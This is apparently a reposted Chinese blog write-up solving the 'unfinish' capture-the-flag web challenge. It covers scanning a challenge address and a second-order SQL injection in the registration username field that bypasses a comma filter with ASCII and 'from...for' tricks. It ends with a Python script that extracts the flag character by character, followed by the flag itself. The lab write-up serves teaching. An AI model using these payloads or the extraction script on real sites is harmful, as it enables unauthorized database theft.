【愚公系列】2023年06月 攻防世界-Web(unfinish)


前言

SQL注入是一种常见的攻击方式,它利用web应用程序漏洞,通过向Web应用程序提交恶意的SQL语句,从而获得对数据库的访问权限。

SQL注入常见的攻击方式包括:

  1. 基于错误的注入攻击(error-based):通过构造报错语句,把数据库中的错误信息暴露给攻击者,从而获取敏感信息。

  2. 基于盲注的攻击(blind-based):攻击者无法直接从Web应用程序获得数据库中的信息,但是他们可以通过提交变异的查询,来判断查询结果是否正确,进而推断出数据库中的信息。

  3. 基于时间的注入攻击(time-based):攻击者利用延迟的SQL语句来测试条件是否成立,从而可以得出一些敏感信息。

在SQL注入中,ASCII拆解是指对于注入的字符串,将其拆分成单个字符,然后将每个字符转换成ASCII码,再组合成新的字符串作为注入字符串。这种方式主要是用于绕过一些过滤规则,因为对于过滤规则来说,拆开的单个字符不会被判断为敏感字符,但是组合起来却可以成为注入语句的一部分,达到注入的目的。

一、unfinish

1.题目

在这里插入图片描述

2.答题

2.1 目录爆破

使用 dirbuster进行网站目录扫描

在这里插入图片描述

2.2 漏洞扫描

开启AWVS进行漏洞扫描:http://61.147.171.105:57486/register.php

在这里插入图片描述
发现SQL漏洞,参数为username

2.3 模糊测试

使用burp的fuzz进行模糊测试

注意§符号,然后点击payloads,填入相关的符号,(网上有,此处仅仅测试),然后点击start attack
在这里插入图片描述

可以看到过滤了什么字符,如图:
在这里插入图片描述

发现过滤严重

2.4 注入测试

我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重,sqlmap跑不出来,我们需要定制合适的tamper,放弃。

进行手工测试

通过使用​​0’+1+'0​​作为用户名,在注册的时候,猜想使用sql语句插入到表中,如:

insert into tables values('$email','$username','$password')
mysql> select '1'+'1a';
+----------+
| '1'+'1a' |
+----------+
|        2 |
+----------+
1 row in set, 1 warning (0.00 sec)mysql> select '0'+database();
+----------------+
| '0'+database() |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)

mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
|                               100 |
+-----------------------------------+
1 row in set (0.00 sec)mysql> select '0'+ascii(substr(database(),2,1));
+-----------------------------------+
| '0'+ascii(substr(database(),2,1)) |
+-----------------------------------+
|                               118 |
+-----------------------------------+
1 row in set (0.00 sec)

#成功截取,但是逗号被过滤。使用from...for...代替。

mysql> select '0'+ascii(substr(database() from 1 for 1));
+--------------------------------------------+
| '0'+ascii(substr(database() from 1 for 1)) |
+--------------------------------------------+
|                                        100 |
+--------------------------------------------+
1 row in set (0.00 sec)mysql> select '0'+ascii(substr((database()) from 2 for 1));
+----------------------------------------------+
| '0'+ascii(substr((database()) from 2 for 1)) |
+----------------------------------------------+
|                                          118 |
+----------------------------------------------+
1 row in set (0.00 sec)

#还有可以使用十六进制转换后运算

mysql> select bin('dvwa');
+-------------+
| bin('dvwa') |
+-------------+
| 0           |
+-------------+
1 row in set (0.00 sec)mysql> select oct('dvwa');
+-------------+
| oct('dvwa') |
+-------------+
| 0           |
+-------------+
1 row in set (0.00 sec)mysql> select hex('dvwa');
+-------------+
| hex('dvwa') |
+-------------+
| 64767761    |
+-------------+
1 row in set (0.00 sec)

# 如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。
mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}'))       |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
|   3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)

进行脚本注入

import requests
import re
register_url = '/register.php'
login_url = '/login.php'
for i in range(1, 100):
	register_data = {
    
    
		'email': '[email protected]%d' % i,
		'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
		'password': 'admin'
	}
	res = requests.post(url=register_url, data=register_data)
	login_data = {
    
    'email': '[email protected]%d' % i,'password': 'admin'}
	res_ = requests.post(url=login_url, data=login_data)
	code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
	print(chr(int(code.group(1))), end='')

在这里插入图片描述
得到flag:flag{2494e4bf06734c39be2e1626f757ba4c}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131227111
今日推荐